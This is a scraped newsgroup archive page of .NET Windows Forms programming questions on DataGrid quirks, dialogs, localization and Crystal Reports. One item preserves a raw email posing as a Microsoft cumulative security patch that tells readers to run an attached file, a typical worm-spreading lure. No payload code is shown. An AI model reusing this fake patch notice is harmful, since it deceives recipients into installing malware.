 - How to create Multiple fields in a ListBox I have a class derived from CollectionBase. I would like to display the fields in the collection in the ListBox. The class has 4 fields of type boolean, boolean, string, string and I would like to display the booleans as check marks ( x = check mark). The output looking like: x x title 1 author 1 x title 2 author 2 x title 3 author 3 title 4 author 4 Any thoughts or suggestions would be appreciated. I am looking to do this WITHOUT using a DataGrid. Thanks, Dave DavidElliott@BellSouth.net Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57286
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 - Login dialog Hi there, I'm writing a .net Windows application in C#. I have 2 forms: the MainForm and the Login. The MainForm opens the Login as Dialog from the MainForm's constructor, and Login asks for username/password. I get these data from the MainForm and check using a Web service that they're ok. If username/password are not ok, I want to close the whole application, but I don't know how (this.Close() doesn't work). Can I close the app from the MainForm's constructor? Should I call the Login dialog and web service somewhere else? Thanks, Alejandro. Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57285
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 - Red Cross / Red X on DataGrids with Paint Override & BindingManagerBase Hello everyone, I am having a recurrent problem that I'm unable to find a solution to. Everyday, someone in the office using the application developed would get an error. After going through the error-trapping message, the DataGrid on the form would turn into a big red X with white background. If the user closes the form, and reopen it, the big red X will go away, and the error won't happen again. Even if they repeat exactly what they were doing 10 more times, the error just wouldn't happen. It's frustrating because I'm unable to duplicate the error at will. Some computers seem to get the problem once or twice per day while others have never seen this error. Some pertinent information ~ Every single grid has a TableStyle using derived DataGridTextBoxColumn. The DataGridTextBoxColumn overrides Paint() and paints each cell as specified. The code for the override is originally from http://www.syncfusion.com/FAQ/WinForms/FAQ_c44c.asp#q927q but we modified it to modify the textbox content before drawing it on the DataGrid. The changes we made can be found on http://www.rodtv.com/Class_DataGridFormattableTextBoxColumn.txt There's another thread on the NGs that I found via Google Groups that seems similiar. The paint override does use CurrencyManager, and according to Daniel Herling [MS], it's a known issue. But the post was long ago, so I'm wondering if the issue had been fixed already. http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&selm=O7W79dr%24BHA.1836%40tkmsftngp05 If anyone can help, I'd really appreciate it! Thanks for any help in advance! Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57283
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 - Application Structure Hi I am working on an application that has several modules. Each module is represented by an icon on an outlook like list bar on the left. I want users to be able to select modules at installation and in the installed app the listbar icons should reflect the modules installed. The question is how should I structure my application in the first place (separate assemblies, classes, what?) and how would it relate to the installation wizard to allow me to do what I want to do? Thanks Regards Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57280
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 - Restrict clicking child datagrid columns A windows form contains a parent datagrid (let's say order) a child datagrid (let's say order details) One user prefers to use the mouse to navigate between the data grids. When stressed the same user often clicks any column in the child datagrid and starts typing away. Trying for example to type the article number in the units column. How can I restrict so that whenever the user clicks a new (blank) row in the child datagrid the leftmost column gets the focus? How can I even check when that a new (blank) row has been activated? As far as I can see, the events for the datagrid fire only when the row has actually been added to a datagrid Or is there a better solution. Validation events only annoys the user and this question has become kind of a political issue now. So I would be grateful for any help. Kind regards, Kenneth Bohman Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57277
 - 9
 - Unhandled exception on .ShowDialog() I have the following code: Dim BuilderForm As frmBuilder BuilderForm = New frmBuilder(_LastChangedFile.Path) BuilderForm.Refresh() BuilderForm.ShowDialog() And get the following exception on the last line: An unhandled exception of type 'System.InvalidOperationException' occurred in system.windows.forms.dll Additional information: DragDrop registration failed. Any ideas? I've tried compiling using .NET 2002 and .NET 2003 and get the same error. I wasn't getting this error when running on Server 2003 if that's any help! When looking at the build output, I get the following under .NET 2003: 'DefaultDomain': Loaded 'c:\winnt\microsoft.net\framework\v1.1.4322\mscorlib.dll', No symbols loaded. 'auto': Loaded 'c:\winnt\assembly\gac\system\1.0.5000.0__b77a5c561934e089\system.dll', No symbols loaded. 'auto': Loaded 'c:\winnt\assembly\gac\system.drawing\1.0.5000.0__b03f5f7f11d50a3a\system.dr awing.dll', No symbols loaded. 'auto': Loaded 'c:\winnt\assembly\gac\system.directoryservices\1.0.5000.0__b03f5f7f11d50a3a \system.directoryservices.dll', No symbols loaded. 'auto': Loaded 'c:\winnt\assembly\gac\system.messaging\1.0.5000.0__b03f5f7f11d50a3a\system. messaging.dll', No symbols loaded. 'auto': Loaded 'c:\winnt\assembly\gac\system.serviceprocess\1.0.5000.0__b03f5f7f11d50a3a\sy stem.serviceprocess.dll', No symbols loaded. 'auto': Loaded 'c:\winnt\assembly\gac\system.data\1.0.5000.0__b77a5c561934e089\system.data. dll', No symbols loaded. Is this ok? Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57273
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 - set focus vb.net windows form I have a vb.net using a command button to open an external program using the system.Diagnostics.Process.Start What I want to do is when the external program starts have the focus set back to the vb.net form without having to move the mouse over it. How can I do this Thanks Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57271
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 - Using Visual C++ .NET based custom controls from the Toolbox Has anybody ever succeeded in making a custom control written in Visual C++ .NET available for drag-and-drop use via the Toolbox? Searching the Web and MSDN uncovered lots of helpful information. I learned that I had to put my control into a strong-named assembly and add the latter to the global assembly cache. Everything worked out alright: I could use my custom control from my test application as long as I added the necessary code by hand. But when I tried to automate this tedious process by adding Toolbox support to my control I seemed to bump into "C# only" signs everywhere. While I managed to put my control into the Toolbox, dragging it on a form results in a frustrating "Exception from HRESULT: 0x8005050A" message box. Is Windows Forms support for Visual C++.NET really that flaky? I would be very grateful for advice or pointers to online resources I have missed. Gerhard Menzl Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57269
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 - System.UnauthorizedAccessException I get this exception when my application wants to delete a file. the programm load a dll-file from a server and writes the stream into a file with this code: HttpWebRequest wr =(HttpWebRequest)WebRequest.Create ("http://localhost/Server/Tools/"+strFileName); HttpWebResponse ws = (HttpWebResponse)wr.GetResponse(); Stream str = ws.GetResponseStream(); ... FileStream fstr = new FileStream(strFileName, FileMode.Create,FileAccess.Write); fstr.Write(inBuf, 0, bytesRead); str.Close(); fstr.Close(); but when I start this function a second time (and the session is also running), I get the exception. so what can I do? how can I stopp using the dll-file to delete it? Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57268
 - 13
 - How do I cancel the context menu appearing ?? Hi All, Ho can I (in code) stop and contextmenu appearing. I have a listview, and when there are no items, I want to stop the listview from appearing in the mouse down event. Thanks Alex Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57265
 - 14
 - howto extend a VC++ namespace over .cpp (and .h) files ? thanks tom Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57264
 - 15
 - organising include files for vc++ bit of basic help needed here, thanks: I create a class, with myclass.cpp and myclass.h Now, should I add "#include myclass.h" to a) form1.h as it is now, and I think this is why myclass is OUT of the "My" namespace, (where "using namespace My;" is in form1.cpp) or b) form1.cpp (above the "using namespace My" line) where I guess myclass will remain out of the namespace, or c) form1.cpp (below the "using namespace My" line) [btw: why, when adding a button, checkbox etc, is the programmer directed to the form1.h file in which to add the functional code ?] thanks tom Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57261
 - 16
 - Server.MapPath in windows forms? Hi, I'm developing a windows application and I want to load an XML schema into a DataSet. In ASP.net I would use: DS.ReadXMLSchema(Server.MapPath("file.xsd")); But this doesn't seem to work in a windows app. Which is the counterpart then of Server.MapPath in Windows Forms? Do I need any to use any extra namespace? Thanks, Alejandro. Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57260
 - 17
 - FW: See this internet patch from MS --iylhbnhowcci Content-Type: multipart/related; boundary="hlkkqpsaje"; type="multipart/alternative" --hlkkqpsaje Content-Type: multipart/alternative; boundary="xnqrxtvs" --xnqrxtvs Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Microsoft Customer this is the latest version of security update, the "September 2003, Cumulative Patch" update which resolves all known security vulnerabilities affecting MS Internet Explorer, MS Outlook and MS Outlook Express. Install now to help protect your computer from these vulnerabilities. This update includes the functionality = of all previously released patches. System requirements: Windows 95/98/Me/2000/NT/XP This update applies to: - MS Internet Explorer, version 4.01 and later - MS Outlook, version 8.00 and later - MS Outlook Express, version 4.01 and later Recommendation: Customers should install the patch = at the earliest opportunity. How to install: Run attached file. Choose Yes on displayed dialog box. How to use: You don't need to do anything after installing this item. --xnqrxtvs Content-Type: text/html Content-Transfer-Encoding: quoted-printable <HTML> <HEAD> <style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none} </style> </HEAD> <BODY BGCOLOR=3D"White" TEXT=3D"Black"> <BASEFONT SIZE=3D"2" face=3D"verdana,arial"> <TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB"> <TR height=3D"20"> <TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">  <A class=3D'navtext' HREF=3D"http://www.microsoft.com/" TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A> </TD> <TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP>   <A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' = target=3D"_top">All Products</A> |  <A class=3D'navtext' href=3D'http://support.microsoft.com/' = target=3D"_top">Support</A> |  <A class=3D'navtext' href=3D'http://search.microsoft.com/' = target=3D"_top">Search</A> |  <A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top> Microsoft.com Guide</A>  </TD> </TR> <TR> <TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP> <A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top"> Microsoft Home</A>   </TD> </TR> </TABLE>  <IMG SRC=3D"cid:xsaqzcg" BORDER=3D"0"> <TABLE WIDTH=3D"600"><TR><TD> Microsoft Customer this is the latest version of security update, the "September 2003, Cumulative Patch" update which resolves all known security vulnerabilities affecting MS Internet Explorer, MS Outlook and MS Outlook Express. Install now to help protect your computer from these vulnerabilities. This update includes the functionality = of all previously released patches. </TD></TR> </TABLE> <TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600"> <TR VALIGN=3D"TOP"> <TD NOWRAP><IMG SRC=3D"cid:sqkkuno" = ALIGN=3D"absmiddle" BORDER=3D"0"> System requirements </TD> <TD NOWRAP>Windows 95/98/Me/2000/NT/XP</TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><IMG SRC=3D"cid:sqkkuno" = ALIGN=3D"absmiddle" BORDER=3D"0"> This update applies to </TD><TD NOWRAP> MS Internet Explorer, version 4.01 and later MS Outlook, version 8.00 and later MS Outlook Express, version 4.01 and later </TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><IMG SRC=3D"cid:sqkkuno" = ALIGN=3D"absmiddle" BORDER=3D"0"> Recommendation</TD> <TD NOWRAP>Customers should install the patch = at the earliest opportunity.</TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><IMG SRC=3D"cid:sqkkuno" = ALIGN=3D"absmiddle" BORDER=3D"0"> How to install</TD> <TD NOWRAP>Run attached file. = Choose Yes on displayed dialog box.</TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><IMG SRC=3D"cid:sqkkuno" = ALIGN=3D"absmiddle" BORDER=3D"0"> How to use</TD> <TD NOWRAP>You don't need to do = anything after installing this item.</TD> </TR> </TABLE> <TABLE WIDTH=3D"600"><TR><TD> Microsoft Product Support Services and Knowledge Base articles can be found on the <A HREF=3D"http://support.microsoft.com/" = TARGET=3D"_top">Microsoft Technical Support</A> web site. = For security-related information about Microsoft products, please = visit the <A HREF=3D"http://www.microsoft.com/security" TARGET=3D"_top"> Microsoft Security Advisor</A> web site, = or <A HREF=3D"http://www.microsoft.com/contactus/contactus.asp" = TARGET=3D"_top">Contact Us.</A> Thank you for using Microsoft products. Please do not reply to this message. = It was sent from an unmonitored e-mail address and we are unable = to respond to any replies. <HR COLOR=3D"Silver" SIZE=3D"1" WIDTH=3D"100%"> The names of the actual companies and = products mentioned herein are the trademarks = of their respective owners. </TD></TR></TABLE> <TABLE WIDTH=3D"600" HEIGHT=3D"45" BGCOLOR=3D"#1478EB"> <TR VALIGN=3D"TOP"> <TD WIDTH=3D"5"></TD> <TD> <A class=3D'navtext' HREF=3D"http://www.microsoft.com/= contactus/contactus.asp" TARGET=3D"_top">Contact Us</A>  |  <A class=3D'navtext' HREF=3D"http://www.microsoft.com/legal/" = TARGET=3D"_top">Legal</A>  |  <A class=3D'navtext' HREF=3D"https://www.truste.org/validate/605" = TARGET=3D"_top" TITLE=3D"TRUSTe - Click to Verify">TRUSTe</A> </TD> </TR> <TR VALIGN=3D"MIDDLE"> <TD WIDTH=3D"5"></TD> <TD> ©2003 Microsoft Corporation. All rights reserved. <A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/= info/cpyright.htm" TARGET=3D"_top">Terms of Use</A>  |  <A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/= info/privacy.htm" TARGET=3D"_top"> Privacy Statement</A> |  <A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/= enable/" TARGET=3D"_top">Accessibility</A> </TD> </TR> </TABLE> </BODY> </HTML> --xnqrxtvs-- --hlkkqpsaje Content-Type: image/gif Content-Transfer-Encoding: base64 Content-ID: <xsaqzcg> R0lGODlhaAA7APcAAP///+rp6puSp6GZrDUjUUc6Zn53mFJMdbGvvVtXh2xre8bF1x8cU4yLprOy zIGArlZWu25ux319xWpqnnNzppaWy46OvKKizZqavLa2176+283N5sfH34uLmpKSoNvb7c7O3L29 yqOjrtTU4crK1Nvb5erq9O/v+O7u99PT2sbGzePj6vLy99jY3Pv7/vb2+fn5++/v8Kqr0oWHuNbX 55SVoszN28vM2pGUr7S1vqqtv52frOPl8CQvaquz2Ojp7pmn3Ozu83OPzmmT6F1/xo6Voh9p2C5z 3EWC31mS40Zxr4uw6LXN8iZkuXmn55q97PH2/Yir1rbL5iVTh3Oj2cvX5Pv9/+/w8QF8606h62Wk 3n+dubnY9abB2c7n/83h9Nji6weK+CGJ4Vim6WyKpKWssgFyyAaV/0Km8Gyx6HW57FJxicDP2+Tt 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Tag: 57256
 - 18
 - Flaw in DataGrid Handling of New Records I believe there is a flaw in the way the Windows.Forms.DataGrid handles the creation of new rows/records. The observations in this post are based on a DataGrid bound to a DataRelation (specifically, the child side of the DataRelation). The DataGrid is a control on a data form which displays one record at a time. All the tables involved use autosequence fields with a starting value of -1 and an increment of -1 (so newly created record IDs won't interfere with the existing records in the underlying SQL Server tables). When a user clicks on a cell in the "add new" row of a DataGrid, the row gets populated with default values for the fields being displayed, and the foreign key field in the child table gets set to the current master table autosequence id number. However, the "row" does not yet exist in the underlying DataSource for the DataGrid. In fact, so far as I can tell, the row only gets created in the underlying DataSource when you move off the current master record. In and of itself this wouldn't be a problem, but because the "row" doesn't exist in the underlying DataSource, any SqlAdapter.Update() operation won't involve it. This also appears to lead to some odd "null object" errors inside the SqlAdapter.Update() method call. Moreover, if the master record itself is a newly-created record, a call to SqlAdapter.Update() will force the user to encounter an error when he/she moves off the master record. This error occurs because the SqlAdapter.Update() adds the new master record to the underlying Sql Server table and "assigns" a valid autosequence id number to the master record...which has to be different from the master id number appearing as a foreign key in the DataGrid, and, since the DataGrid "row" doesn't yet exist in any DataTable, the change in master record id number doesn't propagate to the new "row". .NET flags this inconsistency when the user attempts to move off the master record. Needless to say, this is quite confusing to the user. So far the only workaround I've found for this flaw is to block any attempt to call SqlAdapter.Update() when any DataGrid is in this "new record in limbo" state. Personally, I think that's a real ugly solution (made even worse because the only algorithm I could find on the web for determining if a DataGrid has one of these "new but not yet stored" rows is to compare the number of rows in the DataGrid's BindingManagerBase to the number of rows the master record "thinks" exist via a call to GetChildRows()). What confuses me is that it appears ADO.NET has an architecture that would allow the creation of "pending" DataRows in the underlying DataTable, which could then be either canceled away or not depending upon what the user did to the DataGrid. In fact, I suspect I could add this capability myself by forcing the user to click an "Add New Detail Record" button and wrapping the creation of a new DataGrid row with BeginEdit(), EndEdit() and CancelEdit() calls. But that's not as transparent a user interface as just letting the user click in the "add a new row" row of a DataGrid and start typing. I'd be interested in hearing any thoughts or other solutions people have on this issue. - Mark Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57255
 - 19
 - Sorted C# ListBox with one item I am using the 1.1 framework. I have a ListBox with the sorted property set to true. I try to add one item to the list and the item does not display. If I add two items, the first item and the second item displays. The code I use to add the items to the list box look like this: private void button1_Click(object sender, System.EventArgs e) { this.listBox1.BeginUpdate(); this.listBox1.Items.Add("blah blah blah"); this.listBox1.EndUpdate(); } Thanks, Wade Matveyenko Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57250
 - 20
 - DataGrid Error On RowAutoResize. I am experiencing an error when you double click on the datagrid row header row resize. The following exception occurs: Error: System.ArgumentOutOfRangeException: Index was out of range. Must be non-negative and less than the size of the collection. Parameter name: startIndex at System.Globalization.CompareInfo.IndexOf(String source, String value, Int32 startIndex) at System.String.IndexOf(String value, Int32 startIndex) at System.Windows.Forms.DataGridTextBoxColumn.GetPreferredHei ght(Graphics g, Object value) at System.Windows.Forms.DataGrid.RowAutoResize(Int32 row) The DataSource is a DataTable. This does not happen every time, but I can get it to occur with a mixture of data. Is this a known issue with a fix, or does anyone have a good way of stopping RowAutoResize while allowing column resizing? Thanks. Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57248
 - 21
 - How Can I freeze a row I'm using a datagrid in a web page to display data with the headings in the first row. Is there a way to freeze the first row so that when I scroll the page the heading will always be visible? *** Sent via Developersdex http://www.developersdex.com *** Don't just participate in USENET...get rewarded for it! Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57240
 - 22
 - PropertyGrid like Control Problem Hi, I've written PropertyEditor that mimic one entry from PropertyGrid. That means it not only shows one property of the object but allows to edit it the same way as PropertyGrid does. It starts DropDown, or Dialog when there is EditorAttribute defined and some other things using TypeConverter. I implemented my own ITypeDescriptorConverter and IWindowsFormsService. Everything runs OK, but ... When the style of Editor is DropDown and the DropDownControl is shown, the first click is always ignored. The second one and the following ones do right things. I cannot find the location, where the first click event is eaten and why it is not send to the UITypeEditor. The loop I am using for wating for the event is: while(m_dropDownForm.Visible) { Application.DoEvents(); MsgWaitForMultipleObjects(0, 0, true, 250, 255); } if I change it to m_dropDownForm.ShowDialog(), the first click is not eaten, but I cannot react on the clicks out of the DropDownForm. Has anybody had such kind of problems? If yes, how could I solve them? Regards, ifko Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57238
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 - Open Dialog Filter Doesn't Work This is a multi-part message in MIME format. ------=_NextPart_000_0008_01C38120.C6F298B0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable All, I have an open file dialog on one of my forms. Everything works great = except the filter. I am trying to hide all files that do not have an = extension of cap but any file extension shows up. Any ideas with the = code below?=20 Dim myOpenFileDialog As New OpenFileDialog() Try With myOpenFileDialog .CheckFileExists =3D True .CheckPathExists =3D True .DefaultExt =3D "cap" .DereferenceLinks =3D True .InitialDirectory =3D DocsPath & "\CACE" .Filter =3D "CACE files (*.cap)|" .Multiselect =3D False .RestoreDirectory =3D True .ShowHelp =3D True .ShowReadOnly =3D False .Title =3D "Select a CACE file to open" .ValidateNames =3D True If .ShowDialog() =3D DialogResult.OK Then FileName =3D .FileName dsAircraft =3D ReadInData() PopulateTree() BindData() ShowMenus(True) Me.mnuSave.Enabled =3D False Me.tbSave.Enabled =3D False Me.tmrDirty.Interval =3D 500 Me.tmrDirty.Enabled =3D True MakeRecordDirty(False) HasLoaded =3D True PerformCalculations() LoadChartData() Else Exit Sub End If End With --=20 Thanks, Brian P. Hammer ------=_NextPart_000_0008_01C38120.C6F298B0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META http-equiv=3DContent-Type content=3D"text/html; = charset=3Diso-8859-1"> <META content=3D"MSHTML 6.00.2800.1226" name=3DGENERATOR> <STYLE></STYLE> </HEAD> <BODY bgColor=3D#ffffff> <DIV>All,</DIV> <DIV> </DIV> <DIV>I have an open file dialog on one of my forms.  Everything = works great=20 except the filter.  I am trying to hide all files that do not have = an=20 extension of cap but any file extension shows up.  Any ideas with = the code=20 below? </DIV> <DIV> </DIV> <DIV>        Dim myOpenFileDialog As = New=20 OpenFileDialog()        =20 Try            = With=20 myOpenFileDialog         &nbsp= ;      =20 .CheckFileExists =3D=20 True           &nbsp= ;    =20 .CheckPathExists =3D=20 True           &nbsp= ;    =20 .DefaultExt =3D=20 "cap"           &nbs= p;    =20 .DereferenceLinks =3D=20 True           &nbsp= ;    =20 .InitialDirectory =3D DocsPath &=20 "\CACE"           &n= bsp;    =20 .Filter =3D "CACE files=20 (*.cap)|"           =      =20 .Multiselect =3D=20 False           &nbs= p;    =20 .RestoreDirectory =3D=20 True           &nbsp= ;    =20 .ShowHelp =3D=20 True           &nbsp= ;    =20 .ShowReadOnly =3D=20 False           &nbs= p;    =20 .Title =3D "Select a CACE file to=20 open"           &nbs= p;    =20 .ValidateNames =3D=20 True           &nbsp= ;    =20 If .ShowDialog() =3D DialogResult.OK=20 Then           &nbsp= ;        =20 FileName =3D=20 .FileName           =          =20 dsAircraft =3D=20 ReadInData()          &nb= sp;         =20 PopulateTree()          &= nbsp;         =20 BindData()          &nbsp= ;         =20 ShowMenus(True)          =           =20 Me.mnuSave.Enabled =3D=20 False           &nbs= p;        =20 Me.tbSave.Enabled =3D=20 False           &nbs= p;        =20 Me.tmrDirty.Interval =3D=20 500            =         =20 Me.tmrDirty.Enabled =3D=20 True           &nbsp= ;        =20 MakeRecordDirty(False)        &nbsp= ;           =20 HasLoaded =3D=20 True           &nbsp= ;        =20 PerformCalculations()         =            =20 LoadChartData()          =       =20 Else           &nbsp= ;        =20 Exit=20 Sub            =     =20 End = If             = End=20 With -- Thanks, Brian P. Hammer</DIV></BODY></HTML> ------=_NextPart_000_0008_01C38120.C6F298B0-- Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57236
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 - Localization and MessageBox I can set my CurrentCulture and CurrentUICulture to de-DE (German-Germany) and resources load from my German-Germany satellite assembly. The problem I run into is that the Windows Forms MessageBox.Show method does not show German-Germany response buttons. For example, MessageBox.Show("Test Message","Test",MessageBoxButtons.YesNoCancel); still shows 'Yes','No', and 'Cancel' rather than 'Ja', 'Nein', and 'Abbrechen'. Any clues as to why this is happening? I'm using this code to set my culture: Thread.CurrentThread.CurrentCulture = new CultureInfo("de-DE"); Thread.CurrentThread.CurrentUICulture = new CultureInfo("de-DE"); -Gregg Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57234
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 - Mimicking the AutoScroll functionality I am curious as to how the auto-scroll feature works in the .NET scrollable controls. How does it set the view-port into the virtual space of a control 's draw-able space? I understand how to do it if I have a definable space (say like using a bitmap etc. with defined unchanging bounds) but am not sure how to do this if the region I'm using is infinite with changing bounds. I have a situation where the width and height are fully scalable and dynamic with other controls (that know how to draw themselves in the proper place on their parent control) being "drawn" on the virtual area. I can get this to work with auto-scroll (I keep changing the AutoScrollMinSize as it changes) until I look at the requirement that another control above it (same width) has to scroll in lock-step for the horizontal scrolling. The documentation states that you can set the AutoScroll property to true and then optionally turn off the horizontal or vertical scroll bars by setting the protected members HScrollBar or VScrollBar to false. In practice, it doesn't seem to work for me. If the AutoScrollMinSize property changes (which mine do constantly), it resets the values to true. At this point, even if I reset the variables back to false, they still show up regardless of how they were set and I have scroll bars where I don't want them. Here are my questions: · Is there a way to make the auto vertical/horizontal scroll-bars stay invisible with AutoScroll turned on (like the documentation states)? · If not, what is the best way to override this functionality to mimic the auto-scroll functionality? I'd really like to not have to play with the WM_H/VSCROLL window messages. But if this is the best way, again, how do I change the view-port position into the virtual space I'm using? · Is there a better way? Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57232

Hello

I am running .NET 2003, Framwork 1.1, Crystal Report Version 9. I am writing
all my code in C#.

I have two questions:

1) Does anyone know if the line color in a chart on a Crystal Report can be
changed at runtime?

2) Does anyone know if a report can be created from a collection?

If the answer to either of these is yes, can you please supply sample code
in either VB.NET or C#.NET? Thanks in advance for your time!

Ken

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